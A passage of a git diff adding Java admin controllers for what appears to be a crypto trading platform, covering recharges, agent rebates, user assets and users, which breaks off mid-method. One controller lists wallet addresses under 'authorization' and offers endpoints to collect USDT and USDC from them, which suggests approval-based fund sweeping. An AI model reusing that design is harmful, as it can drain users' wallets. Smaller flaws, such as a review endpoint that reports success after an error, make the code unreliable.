查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:klineSymbol:list')") + @GetMapping("/list") + public TableDataInfo list(KlineSymbol klineSymbol) + { + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + return getDataTable(list); + } + @GetMapping("/selectList") + public AjaxResult selectList(KlineSymbol klineSymbol) + { + List list = new ArrayList<>(); + klineSymbol.setMarket("binance"); + List keys = redisCache.keys(CachePrefix.CURRENCY_PRICE.getPrefix() + "*").stream().collect(Collectors.toList()); + if (CollectionUtils.isEmpty(keys)) { + return AjaxResult.success(list); + } + List klineSymbolList = klineSymbolService.list(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, "binance")); + for (String key : keys) { + String coin= key.substring(key.indexOf(":")+1,key.length()); + String regex =".*[A-Z].*"; + if (coin.matches(regex)) { + continue; + } + klineSymbolList.stream().forEach(k->{ + if (coin.toUpperCase().equals(k.getSymbol().toUpperCase())){ + OwnVO ownVO = new OwnVO(); + ownVO.setMarket(k.getMarket()); + ownVO.setCoin(coin); + ownVO.setPrice(new BigDecimal(redisCache.getCacheObject(key).toString())); + list.add(ownVO); + } + }); + } + return AjaxResult.success(list); + } + + /** + * 导出数据源列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:export')") + @Log(title = "数据源", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, KlineSymbol klineSymbol) + { + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + ExcelUtil util = new ExcelUtil(KlineSymbol.class); + util.exportExcel(response, list, "数据源数据"); + } + + /** + * 获取数据源详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(klineSymbolService.selectKlineSymbolById(id)); + } + + /** + * 新增数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:add')") + @Log(title = "数据源", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody KlineSymbol klineSymbol) + { + return toAjax(klineSymbolService.insertKlineSymbol(klineSymbol)); + } + + /** + * 修改数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:edit')") + @Log(title = "数据源", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody KlineSymbol klineSymbol) + { + return toAjax(klineSymbolService.updateKlineSymbol(klineSymbol)); + } + + /** + * 删除数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:remove')") + @Log(title = "数据源", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(klineSymbolService.deleteKlineSymbolByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java new file mode 100644 index 0000000..2ebcd90 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 充值活动Controller + * + * @author ruoyi + * @date 2023-07-05 + */ +@RestController +@RequestMapping("/bussiness/activityrecharge") +public class TActivityRechargeController extends BaseController +{ + @Autowired + private ITActivityRechargeService tActivityRechargeService; + + /** + * 查询充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:list')") + @GetMapping("/list") + public TableDataInfo list(TActivityRecharge tActivityRecharge) + { + startPage(); + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + return getDataTable(list); + } + + /** + * 导出充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:export')") + @Log(title = "充值活动", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TActivityRecharge tActivityRecharge) + { + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + ExcelUtil util = new ExcelUtil(TActivityRecharge.class); + util.exportExcel(response, list, "充值活动数据"); + } + + /** + * 获取充值活动详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tActivityRechargeService.selectTActivityRechargeById(id)); + } + + /** + * 新增充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:add')") + @Log(title = "充值活动", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TActivityRecharge tActivityRecharge) + { + return toAjax(tActivityRechargeService.insertTActivityRecharge(tActivityRecharge)); + } + + /** + * 修改充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:edit')") + @Log(title = "充值活动", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TActivityRecharge tActivityRecharge) + { + return toAjax(tActivityRechargeService.updateTActivityRecharge(tActivityRecharge)); + } + + /** + * 删除充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:remove')") + @Log(title = "充值活动", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tActivityRechargeService.deleteTActivityRechargeByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java new file mode 100644 index 0000000..74814e6 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 返利活动明细Controller + * + * @author ruoyi + * @date 2023-07-06 + */ +@RestController +@RequestMapping("/bussiness/agentactivity") +public class TAgentActivityInfoController extends BaseController +{ + @Autowired + private ITAgentActivityInfoService tAgentActivityInfoService; + + /** + * 查询返利活动明细列表 + */ + @PreAuthorize("@ss.hasPermi('system:info:list')") + @GetMapping("/list") + public TableDataInfo list(TAgentActivityInfo tAgentActivityInfo) + { + startPage(); + List list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo); + return getDataTable(list); + } + + /** + * 导出返利活动明细列表 + */ + @PreAuthorize("@ss.hasPermi('system:info:export')") + @Log(title = "返利活动明细", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAgentActivityInfo tAgentActivityInfo) + { + List list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo); + ExcelUtil util = new ExcelUtil(TAgentActivityInfo.class); + util.exportExcel(response, list, "返利活动明细数据"); + } + + /** + * 获取返利活动明细详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:info:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") String id) + { + return success(tAgentActivityInfoService.selectTAgentActivityInfoById(id)); + } + + /** + * 新增返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:add')") + @Log(title = "返利活动明细", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + return toAjax(tAgentActivityInfoService.insertTAgentActivityInfo(tAgentActivityInfo)); + } + + /** + * 修改返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:edit')") + @Log(title = "返利活动明细", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + return toAjax(tAgentActivityInfoService.updateTAgentActivityInfo(tAgentActivityInfo)); + } + + /** + * 删除返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:remove')") + @Log(title = "返利活动明细", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable String[] ids) + { + return toAjax(tAgentActivityInfoService.deleteTAgentActivityInfoByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java new file mode 100644 index 0000000..f5312c7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java @@ -0,0 +1,133 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; + +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 钱包地址授权详情Controller + * + * @author ruoyi + * @date 2023-07-15 + */ +@RestController +@RequestMapping("/bussiness/info") +public class TAppAddressInfoController extends BaseController +{ + @Autowired + private ITAppAddressInfoService tAppAddressInfoService; + + /** + * 查询钱包地址授权详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:list')") + @GetMapping("/list") + public TableDataInfo list(TAppAddressInfo tAppAddressInfo) + { + startPage(); + List list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo); + return getDataTable(list); + } + + /** + * 导出钱包地址授权详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:export')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppAddressInfo tAppAddressInfo) + { + List list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo); + ExcelUtil util = new ExcelUtil(TAppAddressInfo.class); + util.exportExcel(response, list, "钱包地址授权详情数据"); + } + + /** + * 获取钱包地址授权详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tAppAddressInfoService.selectTAppAddressInfoByUserId(userId)); + } + + /** + * 新增钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:add')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.insertTAppAddressInfo(tAppAddressInfo)); + } + + /** + * 修改钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:edit')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.updateTAppAddressInfo(tAppAddressInfo)); + } + + /** + * 删除钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:remove')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tAppAddressInfoService.deleteTAppAddressInfoByUserIds(userIds)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:info:refresh')") + @Log(title = "刷新地址信息", businessType = BusinessType.UPDATE) + @PostMapping("/refresh") + public AjaxResult refresh(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.refreshAddressInfo(tAppAddressInfo)); + } + @PreAuthorize("@ss.hasPermi('bussiness:info:collection')") + @Log(title = "归集", businessType = BusinessType.UPDATE) + @PostMapping("/collection") + public AjaxResult collection(@RequestBody TAppAddressInfo address) { + return AjaxResult.success(tAppAddressInfoService.collection(address)); + } + @PreAuthorize("@ss.hasPermi('bussiness:info:collection')") + @Log(title = "归集USDC", businessType = BusinessType.UPDATE) + @PostMapping("/collectionUsdc") + public AjaxResult collectionUsdc(@RequestBody TAppAddressInfo address) { + return AjaxResult.success(tAppAddressInfoService.collectionUsdc(address)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java new file mode 100644 index 0000000..9e5f5f9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java @@ -0,0 +1,123 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 玩家资产Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/bussiness/asset") +public class TAppAssetController extends BaseController +{ + @Autowired + private ITAppAssetService tAppAssetService; + + /** + * 查询玩家资产列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:list')") + @GetMapping("/list") + public TableDataInfo list(TAppAsset tAppAsset) + { + + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppAsset.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppAssetService.selectTAppAssetList(tAppAsset); + return getDataTable(list); + } + + /** + * 导出玩家资产列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:export')") + @Log(title = "玩家资产", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppAsset tAppAsset) + { + List list = tAppAssetService.selectTAppAssetList(tAppAsset); + ExcelUtil util = new ExcelUtil(TAppAsset.class); + util.exportExcel(response, list, "玩家资产数据"); + } + + /** + * 获取玩家资产详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tAppAssetService.selectTAppAssetByUserId(userId)); + } + + /** + * 新增玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:add')") + @Log(title = "玩家资产", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppAsset tAppAsset) + { + return toAjax(tAppAssetService.insertTAppAsset(tAppAsset)); + } + + /** + * 修改玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:edit')") + @Log(title = "玩家资产", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppAsset tAppAsset) + { + return toAjax(tAppAssetService.updateTAppAsset(tAppAsset)); + } + + /** + * 删除玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:remove')") + @Log(title = "玩家资产", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tAppAssetService.deleteTAppAssetByUserIds(userIds)); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java new file mode 100644 index 0000000..52eafeb --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java @@ -0,0 +1,95 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.Arrays; +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 1v1站内信Controller + * + * @author ruoyi + * @date 2023-07-18 + */ +@RestController +@RequestMapping("/bussiness/mail") +public class TAppMailController extends BaseController +{ + @Autowired + private ITAppMailService tAppMailService; + @Resource + private ITAppUserService tAppUserService; + + /** + * 查询1v1站内信列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:list')") + @GetMapping("/list") + public TableDataInfo list(TAppMail tAppMail) + { + startPage(); + List list = tAppMailService.selectTAppMailList(tAppMail); + return getDataTable(list); + } + + + + /** + * 新增1v1站内信 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:add')") + @Log(title = "1v1站内信", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppMail tAppMail) + { + String msg = ""; + if (tAppMail.getType().equals("1")){ + String[] userIds = tAppMail.getUserIds().split(","); + for (int i = 0; i < userIds.length; i++) { + TAppUser appUser = tAppUserService.getById(userIds[i]); + if (Objects.isNull(appUser)){ + msg+=userIds[i]+","; + } + } + } + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error("暂无此用户"+msg.substring(0,msg.length()-1)); + } + return toAjax(tAppMailService.insertTAppMail(tAppMail)); + } + + + /** + * 删除1v1站内信 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:remove')") + @Log(title = "1v1站内信", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long ids) + { + return toAjax(tAppMailService.deleteTAppMailById(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java new file mode 100644 index 0000000..ad1f303 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java @@ -0,0 +1,163 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.OrderBySetting; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.system.service.ISysConfigService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.math.BigDecimal; +import java.util.*; + +/** + * 用户充值Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/bussiness/recharge") +public class TAppRechargeController extends BaseController +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeController.class); + @Resource + private ITAppRechargeService tAppRechargeService; + + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + /** + * 获取用户充值详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + TAppRecharge appRecharge = tAppRechargeService.getById(id); + if(Objects.nonNull(appRecharge)){ + Date creatTime=appRecharge.getCreateTime(); + Map params=new HashMap<>(); + params.put("date",Objects.nonNull(creatTime)?creatTime.getTime():0L); + appRecharge.setParams(params); + } + return AjaxResult.success(appRecharge); + } + + /** + * 用户充值列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:list')") + @GetMapping("/list") + public TableDataInfo list(TAppRecharge tAppRecharge) { + PageDomain pageDomain = TableSupport.buildPageRequest(); + String orderBy = pageDomain.getOrderBy(); + if (StringUtils.isNotBlank(orderBy)){ + OrderBySetting.value="a."; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + return getDataTable(tAppRechargeService.selectRechargeList(tAppRecharge)); + } + + @Log(title = "充值信息", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('bussiness:recharge:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, TAppRecharge tAppRecharge) + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + String orderBy = pageDomain.getOrderBy(); + if (StringUtils.isNotBlank(orderBy)){ + OrderBySetting.value="a."; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppRechargeService.selectRechargeList(tAppRecharge); + ExcelUtil util = new ExcelUtil(TAppRecharge.class); + util.exportExcel(response, list, "用户数据"); + } + + /** + * 用户充值审核 + */ + @RepeatSubmit(interval = 5000, message = "请求过于频繁") + @PreAuthorize("@ss.hasPermi('bussiness:recharge:passOrder')") + @PostMapping("/passOrder") + public AjaxResult passOrder(@RequestBody TAppRecharge tAppRecharge) { + String msg = tAppRechargeService.passOrder(tAppRecharge); + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,2); + return AjaxResult.success(); + } + + /** + * 用户充值审核 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:failedOrder')") + @PostMapping("/failedOrder") + public AjaxResult failedOrder(@RequestBody TAppRecharge tAppRecharge) { + String msg = tAppRechargeService.failedOrder(tAppRecharge); + if (StringUtils.isNotBlank(msg)){ + AjaxResult.error(msg); + } + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,2); + return AjaxResult.success(); + } + + /** + * 用户充值审核 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:list')") + @PostMapping("/getAllRecharge") + public AjaxResult getAllRecharge(Integer type) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + String parentId = ""; + if (user != null) { + String userType = user.getUserType(); + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + } + return AjaxResult.success(tAppRechargeService.getAllRecharge(parentId,type)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java new file mode 100644 index 0000000..2c9132f --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java @@ -0,0 +1,285 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import io.swagger.annotations.ApiOperation; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 玩家用户Controller + * + * @author shenshen + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/bussiness/user") +public class TAppUserController extends BaseController { + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService appAssetService; + @Resource + private ITAppUserDetailService userDetailService; + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + /** + * 查询admin下的玩家用户列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:list')") + @GetMapping("/list") + public TableDataInfo list(TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + 